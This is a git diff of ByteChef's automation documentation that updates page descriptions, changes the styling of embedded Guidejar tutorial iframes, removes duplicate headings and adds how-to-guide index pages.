+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/3VXegVDeydYISpJxo250?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -67,7 +67,7 @@ easier to group related automation processes together.
 3. Provide a description for this published version to document any changes or updates.
 4. Click **Publish** to make the project available.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/QTdT12o09JYLf3Ia0veD?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -77,6 +77,6 @@ easier to group related automation processes together.
 2. Select **Delete** from the dropdown menu.
 3. Confirm the deletion if prompted.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/a8FJf631lYiJfSEDeFSn?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/automation/build/universal-ai.mdx b/docs/content/docs/automation/build/universal-ai.mdx
index fbad879ea48..b2f08908cef 100644
--- a/docs/content/docs/automation/build/universal-ai.mdx
+++ b/docs/content/docs/automation/build/universal-ai.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Universal AI"
-description: "Learn how to work with AI Text and AI Image"
+description: "Integrate AI capabilities into ByteChef workflows. Use AI for text generation and image processing. Learn how to implement this in your ByteChef workflows."
+title: Universal AI
 ---
 
 This is a guide no using universal AI components like **AI Text** or **AI Image**.
@@ -14,12 +14,12 @@ This is a guide no using universal AI components like **AI Text** or **AI Image*
 5. Paste the API key
 6. Click **Save**
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/589cd71c-cce2-46de-9375-95d9a3bf5e85?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
 After that, you should be able to work with **AI Text** and **AI Image** components. You should be able to see the configured providers in the **Properties** tab under the dropdown attribute called **Provider**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/3f85c053-7e73-4fd6-b48a-86371a718381?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/automation/build/workflows.mdx b/docs/content/docs/automation/build/workflows.mdx
index 28f6a678a26..5ab262f078e 100644
--- a/docs/content/docs/automation/build/workflows.mdx
+++ b/docs/content/docs/automation/build/workflows.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Workflows"
-description: "Learn how to create, edit, and manage workflows effectively."
+description: "Learn how to create, edit, and manage workflows in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Workflows
 ---
 
 ## Create Workflow
@@ -10,7 +10,7 @@ description: "Learn how to create, edit, and manage workflows effectively."
 3. Provide a label for your workflow. Optionally, add a description to explain its purpose.
 4. Click **Save** to create the workflow.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/hKXp2J07qDjlTcyz4PJp?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -25,7 +25,7 @@ description: "Learn how to create, edit, and manage workflows effectively."
 7. Click **Run**.
 8. In the lower panel, examine the input and output for the addition action to verify the results.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/d24dp4Xg7DtEtOBmjr5C?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -51,7 +51,7 @@ description: "Learn how to create, edit, and manage workflows effectively."
 18. In the lower panel, review the input and output for each action in the workflow. Click on **OpenAI**.
 19. Verify that the result of the addition action is correctly inserted in the content field.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/b6afQMMbdVz0ZR5s6ano?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -76,7 +76,7 @@ To summarize:
 
 **Note:** Some components does not have predefined output schema because their output is dynamic. In that case you have to test the component to see the output.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/NhmzjBGbRTI9BApvBlSn?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -89,7 +89,7 @@ To summarize:
 5. Enter "* * ? * *" as the expression.
 6. Select your timezone.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/4a9369e5-aff8-47f8-956d-9e88bfec0cad?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -99,7 +99,7 @@ To summarize:
 1. Click on the component you want to edit.
 2. Change title and add some notes.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/owUEJCVUqSi3T7YlqDHx?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -110,7 +110,7 @@ To summarize:
 3. Change the workflow name or description as needed.
 4. Click **Save** to apply your changes.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/94Ht6KHck7Vd6sez3DaD?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -119,7 +119,7 @@ To summarize:
 1. Click on the settings icon in the top right corner.
 2. Choose **Duplicate** from the dropdown menu.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/eTFQkCqlTCyjg8uHuvgP?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -128,7 +128,7 @@ To summarize:
 1. Click on the settings icon in the top right corner.
 2. Choose **Export** from the dropdown menu to download the workflow JSON file.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/V6A04t3MuaBs4lDiAn78?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -138,7 +138,7 @@ To summarize:
 2. Enter description of the published project.
 3. Click on **Publish**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/9bff3896-dc20-45de-8eac-41cb7d2f3d47?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -148,7 +148,7 @@ To summarize:
 2. Choose **Delete** from the dropdown menu.
 3. Click **Delete**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/6zdgSLvtHX3QAwnwQote?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -161,7 +161,7 @@ Every workflow is represented as a JSON file, allowing you to edit it using the
 1. Click on the code icon in the right panel.
 2. The code editor will open, displaying the JSON representation of the workflow. Review this structure to understand how the workflow is organized.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/MgaBP4rztEOu6IoD7OSx?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -196,6 +196,6 @@ This part of code will look like this:
 
 11. Click on save icon to add the component to your workflow.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
 <iframe src="https://www.guidejar.com/embed/hYc7cWhjM3WmFAzwzQLs?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/automation/connect-data/authentication/api-key.mdx b/docs/content/docs/automation/connect-data/authentication/api-key.mdx
index 8de5f30488b..345f0838eca 100644
--- a/docs/content/docs/automation/connect-data/authentication/api-key.mdx
+++ b/docs/content/docs/automation/connect-data/authentication/api-key.mdx
@@ -2,9 +2,6 @@
 title: "API Key Authentication"
 description: "Learn how to use API Keys to connect to third-party services in ByteChef"
 ---
-
-# API Key Authentication
-
 API Key authentication is a simple way to authenticate with many third-party services. An API key is a unique identifier used to authenticate a user, developer, or calling program to an API.
 
 ## How it Works
diff --git a/docs/content/docs/automation/connect-data/authentication/basic.mdx b/docs/content/docs/automation/connect-data/authentication/basic.mdx
index ff42d9ee968..bd60879ce5b 100644
--- a/docs/content/docs/automation/connect-data/authentication/basic.mdx
+++ b/docs/content/docs/automation/connect-data/authentication/basic.mdx
@@ -2,9 +2,6 @@
 title: "Basic Authentication"
 description: "Learn how to use Basic Authentication to connect to third-party services in ByteChef"
 ---
-
-# Basic Authentication
-
 Basic Authentication is a simple authentication scheme built into the HTTP protocol. It uses a username and a password to authenticate requests.
 
 ## How it Works
diff --git a/docs/content/docs/automation/connect-data/authentication/bearer.mdx b/docs/content/docs/automation/connect-data/authentication/bearer.mdx
index 4f19e8bc0f4..74a94b4514a 100644
--- a/docs/content/docs/automation/connect-data/authentication/bearer.mdx
+++ b/docs/content/docs/automation/connect-data/authentication/bearer.mdx
@@ -2,9 +2,6 @@
 title: "Bearer Authentication"
 description: "Learn how to use Bearer Tokens to connect to third-party services in ByteChef"
 ---
-
-# Bearer Authentication
-
 Bearer Authentication (also called token authentication) is an HTTP authentication scheme that involves security tokens called bearer tokens. The name "Bearer authentication" can be understood as "give access to the bearer of this token."
 
 ## How it Works
diff --git a/docs/content/docs/automation/connect-data/authentication/oauth2.mdx b/docs/content/docs/automation/connect-data/authentication/oauth2.mdx
index ecb84147a22..a106af81b83 100644
--- a/docs/content/docs/automation/connect-data/authentication/oauth2.mdx
+++ b/docs/content/docs/automation/connect-data/authentication/oauth2.mdx
@@ -2,9 +2,6 @@
 title: "OAuth 2.0 Authentication"
 description: "Learn how to use OAuth 2.0 to connect to third-party services in ByteChef"
 ---
-
-# OAuth 2.0 Authentication
-
 OAuth 2.0 is the industry-standard protocol for authorization. It allows ByteChef to obtain limited access to user accounts on an HTTP service, such as Google, GitHub, or Salesforce, without requiring your password.
 
 ## How it Works
diff --git a/docs/content/docs/automation/connect-data/how-to-guides/index.mdx b/docs/content/docs/automation/connect-data/how-to-guides/index.mdx
new file mode 100644
index 00000000000..72a178b6c19
--- /dev/null
+++ b/docs/content/docs/automation/connect-data/how-to-guides/index.mdx
@@ -0,0 +1,26 @@
+---
+description: "ByteChef How-To Guides. Step-by-step tutorials and best practices for automating workflows and integrations."
+title: How-To Guides
+---
+
+Follow these step-by-step guides to connect to popular services in ByteChef.
+
+## Popular Integrations
+
+- [Connect to Gmail](/reference/components/google-mail_v1)
+- [Connect to Microsoft 365](/reference/components/microsoft-outlook-365_v1)
+- [Connect to Salesforce](/reference/components/salesforce_v1)
+- [Connect to Slack](/reference/components/slack_v1)
+- [Connect to Dropbox](/reference/components/dropbox_v1)
+
+## Authentication Methods
+
+Learn about different authentication methods:
+
+- [OAuth 2.0 Authentication](/automation/connect-data/authentication/oauth2)
+- [API Key Authentication](/automation/connect-data/authentication/api-key)
+- [Basic Authentication](/automation/connect-data/authentication/basic)
+
+## Troubleshooting
+
+Having issues with connections? Check out our [troubleshooting guide](/automation/connect-data/how-to-guides/troubleshooting).
diff --git a/docs/content/docs/automation/connect-data/how-to-guides/meta.json b/docs/content/docs/automation/connect-data/how-to-guides/meta.json
new file mode 100644
index 00000000000..e2f9582c581
--- /dev/null
+++ b/docs/content/docs/automation/connect-data/how-to-guides/meta.json
@@ -0,0 +1,11 @@
+{
+  "title": "How-To Guides",
+  "description": "Step-by-step guides for connecting to third-party services",
+  "pages": [
+    "index",
+    "google-workspace",
+    "microsoft-365",
+    "salesforce",
+    "slack"
+  ]
+}
\ No newline at end of file
diff --git a/docs/content/docs/automation/connect-data/meta.json b/docs/content/docs/automation/connect-data/meta.json
index a489f653587..046649e07b7 100644
--- a/docs/content/docs/automation/connect-data/meta.json
+++ b/docs/content/docs/automation/connect-data/meta.json
@@ -4,6 +4,8 @@
   "icon": "Link",
   "pages": [
     "overview",
+    "how-to-guides/index",
     "authentication",
-    "troubleshooting"]
+    "troubleshooting"
+  ]
 }
diff --git a/docs/content/docs/automation/connect-data/overview.mdx b/docs/content/docs/automation/connect-data/overview.mdx
index 9f9980960d5..91323c0658f 100644
--- a/docs/content/docs/automation/connect-data/overview.mdx
+++ b/docs/content/docs/automation/connect-data/overview.mdx
@@ -1,8 +1,10 @@
 ---
 title: "Overview"
-description: "Learn how to connect and manage third-party application connections in ByteChef."
+description: "ByteChef Connect Data Overview. Learn how to integrate and manage data sources and connectivity in workflows."
 ---
 
+ByteChef's Connect Data feature allows you to seamlessly integrate with hundreds of third-party applications and services. This section will guide you through managing these connections to power your automations.
+
 ## What are Connections?
 
 Connections in ByteChef are secure links between your ByteChef account and external services. They store authentication details and configuration needed to interact with these services through your workflows.
@@ -15,36 +17,3 @@ Think of a connection as a bridge: one end is in ByteChef, and the other is in y
 - **Reusable**: Create a connection once and use it across dozens of different workflows.
 - **Secure**: All credentials are encrypted at rest using industry-standard AES-256 encryption.
 - **Easy Setup**: Guided wizards help you navigate the authentication process for each service.
-- **Sharing**: (Enterprise) Share connections with your team while maintaining control over permissions.
-
-## Getting Started
-
-Setting up a connection is a quick process:
-
-1. **Navigate to Connections**: Click the **Connections** tab in the main sidebar.
-2. **Choose a Service**: Click **New Connection** and search for the application you want to connect.
-3. **Authenticate**: Follow the prompts to authorize ByteChef. This might involve logging in via OAuth, pasting an API Key, or providing basic credentials.
-4. **Name and Save**: Give your connection a descriptive name (e.g., `Company Slack - Marketing`) to help you identify it later.
-
-## Popular Integrations
-
-- [Connect to Google Workspace](/reference/components/google-application-setup_v1)
-- [Connect to Microsoft 365](/reference/components/microsoft-graph-application-setup_v1)
-- [Connect to Slack](/reference/components/slack_v1)
-
-## Authentication Methods
-
-ByteChef supports various authentication methods to accommodate the security requirements of different services:
-
-- **OAuth 2.0**: The industry standard for secure authorization. It redirects you to the app's own login page so ByteChef never sees your password.
-- **API Key**: A secret token provided by the service that you paste into ByteChef.
-- **Bearer Token**: A security token that gives access to the bearer.
-- **Basic Auth**: Traditional username and password authentication, typically used by internal or legacy systems.
-
-Learn more about [Authentication Methods](/automation/connect-data/authentication).
-
-## Next Steps
-
-- [Authentication](/automation/connect-data/authentication) - Learn about different authentication methods.
-- [Troubleshooting](/automation/connect-data/troubleshooting) - Fix common connection errors.
-- [Connections Reference](/reference/components) - Detailed reference for all supported connections.
diff --git a/docs/content/docs/automation/deploy/index.mdx b/docs/content/docs/automation/deploy/index.mdx
index 120139b094b..f270bda9605 100644
--- a/docs/content/docs/automation/deploy/index.mdx
+++ b/docs/content/docs/automation/deploy/index.mdx
@@ -1,9 +1,14 @@
 ---
-title: "Overview"
-description: "An introduction to deploying projects and workflows in ByteChef."
+description: "An introduction to deploying projects and workflows in ByteChef. Execute automations. Learn how to implement this in your ByteChef workflows."
+title: Overview
 ---
 
-In the following steps, we will learn how to deploy projects and workflows within ByteChef. Deployment allows you to
-activate your workflows and put your projects into action—enabling you to fully leverage the benefits of automation.
+In this section of the documentation, you will learn how to deploy your workflows in ByteChef, so they can run independently without any manual trigger; turning your projects into live and production-ready automation.
+
+## What's Covered
+
+- **[Deploy Projects](/automation/deploy/projects)**: You will learn how to activate your projects and workflows for production use. We'll also have a deep dive on how to create deployments, manage versions, configure connections, and control workflow execution.
+
+Once your workflows are deployed, you can monitor their performance and execution history in the **[Monitor](/automation/monitor)** section of this documentation.
 
 By deploying, you ensure that your automated processes are live, efficient, and ready to deliver real value.
diff --git a/docs/content/docs/automation/deploy/projects.mdx b/docs/content/docs/automation/deploy/projects.mdx
index 9eba04e13e9..6821f4385a8 100644
--- a/docs/content/docs/automation/deploy/projects.mdx
+++ b/docs/content/docs/automation/deploy/projects.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Projects"
-description: "Learn how to deploy projects and workflows in ByteChef."
+description: "Learn how to deploy projects and workflows in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Deploy Projects
 ---
 
 Deploying a project in ByteChef brings your automation to life. Deployment allows workflows to run
@@ -21,7 +21,7 @@ independently without further user input, enabling seamless, hands-off execution
 11. Enable the project deployment.
 12. Project is now deployed.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/cea25789-adde-4faa-ae83-a11c4176c075?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -35,7 +35,7 @@ independently without further user input, enabling seamless, hands-off execution
 6. Update connections if necessary.
 7. Click on **Save**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/23bad437-42a2-4ac8-8f69-1b704b1b8b41?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -47,7 +47,7 @@ independently without further user input, enabling seamless, hands-off execution
 3. Change name, description or tags.
 4. Click on **Save**.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/8a1b97e9-fe35-411c-8fbd-aa126897d08a?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -62,7 +62,7 @@ independently without further user input, enabling seamless, hands-off execution
 6. Click on **Save**.
 7. Choose the new connection.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/9879b812-a101-4360-b319-cf7641ca0609?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -72,7 +72,7 @@ independently without further user input, enabling seamless, hands-off execution
 2. Select **Delete** from the dropdown menu.
 3. Confirm the deletion if prompted.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/5369165c-9399-4bfd-b0c4-23e40cc61400?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
 </div>
 
@@ -85,6 +85,6 @@ We put static trigger to our workflow and deployed it for purpose of showing how
 3. This is workflow with static trigger that has to generate a webhook URL for you to use.
 4. Click this icon to copy the webhook URL.
 
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
+<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zIndex: 99999, boxSizing: 'border-box', paddingBottom: 'calc(53.02672956% + 32px)' }}>
   <iframe src="https://www.guidejar.com/embed/dfd80b36-da00-4401-938a-65ec16903ebd?type=1&controls=on" width="100%" height="100%" style={{ height: '100%', position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
+</div>
\ No newline at end of file
diff --git a/docs/content/docs/automation/index.mdx b/docs/content/docs/automation/index.mdx
new file mode 100644
index 00000000000..b0d4d4be465
--- /dev/null
+++ b/docs/content/docs/automation/index.mdx
@@ -0,0 +1,54 @@
+---
+description: "Automation for ByteChef. Integrate and automate your workflows. Learn how to implement this feature in your automation workflows."
+title: Overview
+---
+
+import {Callout} from "fumadocs-ui/components/callout";
+
+## What is ByteChef Automation?
+
+ByteChef Automation allows you to easily build and run smart workflows that connect your apps, automate routine tasks,
+and include AI-driven decisions—all without heavy coding. This guide will help you understand the basics and get started
+with creating your first workflow.
+
+It enables you to:
+
+- Connect different applications and services together
+- Automate repetitive tasks and business processes
+- Create workflows with conditional logic and data transformations
+- Integrate AI capabilities into your automation processes
+- Build complex integrations with a visual, no-code interface
+
+## Key Concepts
+
+Before diving into creating workflows, it's helpful to understand some key concepts. Check them in the [Glossary](/automation/glossary).
+
+## Creating Your First Workflows
+
+Follow these steps to create your first workflows in ByteChef Automation:
+
+<Callout title="Quick Start Guides">
+  For step-by-step tutorials with specific examples, check out our Quick Start guides:
+  - [Star a Repository on GitHub](/automation/quick-start/star-repository-on-github)
+  - [Configure workflow trigger](/automation/quick-start/configure-workflow-trigger)
+</Callout>
+
+
+## Best Practices
+
+To get the most out of ByteChef Automation, consider these best practices:
+
+- **Start Simple**: Begin with basic workflows and gradually add complexity
+- **Test Thoroughly**: Test your workflows with different inputs to ensure they work as expected
+- **Use Descriptive Names**: Give your projects, workflows, and connections clear, descriptive names
+- **Document Your Workflows**: Add descriptions to help others understand your automation
+- **Reuse Connections**: Create connections that can be reused across multiple workflows
+
+## Next Steps
+
+Once you're comfortable with the basics, you can:
+
+- Explore more advanced workflow features like conditional logic and loops
+- Connect multiple components to create complex automation processes
+- Integrate AI capabilities into your workflows
+- Learn about error handling and debugging techniques
\ No newline at end of file
diff --git a/docs/content/docs/automation/meta.json b/docs/content/docs/automation/meta.json
index 095599cf928..5eb3f9b99f9 100644
--- a/docs/content/docs/automation/meta.json
+++ b/docs/content/docs/automation/meta.json
@@ -8,6 +8,8 @@
     "overview",
     "quick-start",
     "---Connect Data---",
+    "connect-data/overview",
+    "connect-data/how-to-guides/index",
     "...connect-data",
     "---Build Workflows---",
     "build/index",
diff --git a/docs/content/docs/automation/monitor/index.mdx b/docs/content/docs/automation/monitor/index.mdx
index 672b541d835..ad03b508980 100644
--- a/docs/content/docs/automation/monitor/index.mdx
+++ b/docs/content/docs/automation/monitor/index.mdx
@@ -1,8 +1,10 @@
 ---
-title: "Overview"
-description: "An introduction to monitoring projects and workflows in ByteChef."
+description: "An introduction to monitoring projects and workflows in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Overview
 ---
 
-The Monitoring section lets you track workflow executions in real time. View detailed input and output data, inspect
-each component’s behavior, and filter executions using various criteria to quickly find what you need.
+In this section of the documentation, you will learn how to track workflow executions in real time. You'll also see how to view detailed input and output data, inspect each component's behavior, and filter executions using various criteria to quickly find what you need.
 
+## What's Covered
+
+- **[Projects](/automation/monitor/projects)** - View execution history for your deployed workflows. Learn how to filter executions, inspect input and output data, and diagnose failed workflows.
diff --git a/docs/content/docs/automation/monitor/projects.mdx b/docs/content/docs/automation/monitor/projects.mdx
index fd536f637da..1668ecebeb8 100644
--- a/docs/content/docs/automation/monitor/projects.mdx
+++ b/docs/content/docs/automation/monitor/projects.mdx
@@ -1,6 +1,6 @@
 ---
-title: "Projects"
-description: "Learn how to monitor projects and workflows in ByteChef."
+description: "Learn how to monitor projects and workflows in ByteChef. Learn how to implement this in your ByteChef workflows."
+title: Projects
 ---
 
 After a project is deployed and executed, its workflow activity appears here—allowing you to review how your automation
